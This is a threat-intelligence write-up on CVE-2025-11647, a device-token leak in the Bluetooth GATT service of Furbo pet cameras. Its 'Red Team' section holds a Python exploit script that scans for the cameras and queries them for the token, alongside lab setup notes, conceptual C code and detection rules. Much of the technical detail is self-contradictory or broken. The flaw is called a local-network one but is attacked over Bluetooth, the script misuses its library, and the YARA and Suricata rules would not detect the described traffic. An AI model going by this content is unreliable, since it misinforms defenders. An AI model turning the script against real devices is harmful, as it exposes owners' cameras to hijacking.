CVE-2025-11647

Executive Summary

CVE-2025-11647 is a local network information disclosure vulnerability affecting Tomofun Furbo 360 and Furbo Mini pet cameras. The flaw resides in the GATT (Generic Attribute Profile) service, where the DeviceToken argument is improperly handled, allowing an attacker within the same local network to potentially extract sensitive device tokens. The attack complexity is high, requiring advanced skills to exploit. The vendor has not responded to disclosure, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Adjacent Network (local network required)
• Attack Complexity (AC): High (requires specialized conditions or knowledge)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): Low (limited information disclosure)
• Integrity (I): None
• Availability (A): None
• Threat Level: Low. The attack is difficult to execute and requires local network access, but if successful, it could expose device tokens that may be used for further attacks.

Deep Dive & Mechanics

The vulnerability is in the GATT service of the Furbo devices. GATT is a Bluetooth Low Energy (BLE) profile used for communication between devices. The DeviceToken is a unique identifier used for authentication and cloud connectivity. By manipulating the DeviceToken argument during GATT service processing, an attacker can cause the device to disclose this token.

Attack Flow:

1. Attacker must be within BLE range of the target Furbo device (typically up to 10 meters).
2. Attacker uses a BLE-capable device (e.g., smartphone with a BLE scanner app or a custom script) to connect to the Furbo's GATT service.
3. Attacker sends a crafted request to the GATT service, manipulating the DeviceToken argument.
4. The device responds with the actual DeviceToken, which is then captured by the attacker.

Impact: The DeviceToken can be used to impersonate the device, access cloud services, or potentially control the camera remotely if combined with other vulnerabilities.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware's GATT service handler. A hypothetical fix would involve:

• Validating the DeviceToken argument before processing.
• Implementing proper access controls on GATT characteristics.
• Encrypting the DeviceToken in transit.

Vulnerable Code (Conceptual):

void handle_gatt_request(uint8_t *data, uint16_t len) {
    if (data[0] == DEVICE_TOKEN_CMD) {
        // No validation - directly returns token
        send_response(device_token);
    }
}

Patched Code (Conceptual):

void handle_gatt_request(uint8_t *data, uint16_t len) {
    if (data[0] == DEVICE_TOKEN_CMD) {
        // Validate that the request is authenticated
        if (!is_authenticated()) {
            send_error(ACCESS_DENIED);
            return;
        }
        // Encrypt token before sending
        uint8_t encrypted_token[32];
        encrypt_token(device_token, encrypted_token);
        send_response(encrypted_token);
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Hardware: Furbo 360 or Furbo Mini (firmware <= FB0035_FW_036 or MC0020_FW_074)
• Tools: BLE scanner (e.g., nRF Connect), Python with bleak library, or a custom BLE exploit script.
• Network: Local network with BLE connectivity.

Exploitation Steps:

1. Scan for BLE devices to find the Furbo.
2. Connect to the Furbo's GATT service.
3. Enumerate GATT characteristics to find the DeviceToken characteristic.
4. Send a crafted request to manipulate the DeviceToken argument.
5. Capture the response containing the DeviceToken.

Example Python Script (Conceptual):

import asyncio
from bleak import BleakScanner, BleakClient

async def exploit():
    devices = await BleakScanner.discover()
    for d in devices:
        if "Furbo" in d.name:
            async with BleakClient(d.address) as client:
                # Find the DeviceToken characteristic
                services = await client.get_services()
                for service in services:
                    for char in service.characteristics:
                        if "DeviceToken" in char.description:
                            # Craft malicious request
                            payload = b"\x01"  # Manipulated argument
                            response = await client.write_gatt_char(char, payload, response=True)
                            print(f"DeviceToken: {response}")
                            return

asyncio.run(exploit())

Blue Team

Detection:

• Monitor BLE traffic for unusual GATT requests to the DeviceToken characteristic.
• Use BLE intrusion detection systems (e.g., BlueZ with custom rules).
• Log all GATT service interactions and alert on repeated attempts.

Mitigation:

• Isolate IoT devices on a separate VLAN to limit BLE exposure.
• Disable BLE when not in use (if possible).
• Apply firmware updates as soon as they become available.

Indicators of Compromise (IOCs)

• Network: Unusual BLE connections to Furbo devices from unknown MAC addresses.
• Device: Repeated GATT service requests to the DeviceToken characteristic.
• Logs: gatt_service logs showing multiple DEVICE_TOKEN_CMD requests.
• File: Presence of custom BLE scripts (e.g., furbo_exploit.py) on attacker devices.

Detection Engineering

YARA Rule

rule CVE_2025_11647_Furbo_DeviceToken_Disclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11647 in Furbo devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11647"
    strings:
        $gatt_cmd = { 01 }  // Manipulated DeviceToken command
        $device_token = /[A-F0-9]{32}/  // Example token pattern
    condition:
        $gatt_cmd and $device_token
}

Sigma Rule

title: CVE-2025-11647 Furbo DeviceToken Disclosure
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects BLE GATT requests targeting DeviceToken on Furbo devices
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: bluetooth
detection:
    selection:
        EventID: 1001  # Example BLE event ID
        Data: "*DeviceToken*"
    condition: selection
falsepositives:
    - Legitimate firmware updates
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-11647 Furbo DeviceToken Disclosure Attempt"; flow:to_server; content:"|01|"; depth:1; content:"DeviceToken"; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable BLE on Furbo devices if not required.
   • Place devices on a separate VLAN with strict access controls.
   • Monitor BLE traffic for anomalies.

2. Vendor Response:

   • Since the vendor has not responded, users should pressure Tomofun for a patch.
   • Consider replacing the device if no patch is provided.

3. Long-term:

   • Implement firmware updates as soon as available.
   • Use BLE security best practices (e.g., pairing, encryption).
   • Conduct regular security audits of IoT devices.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert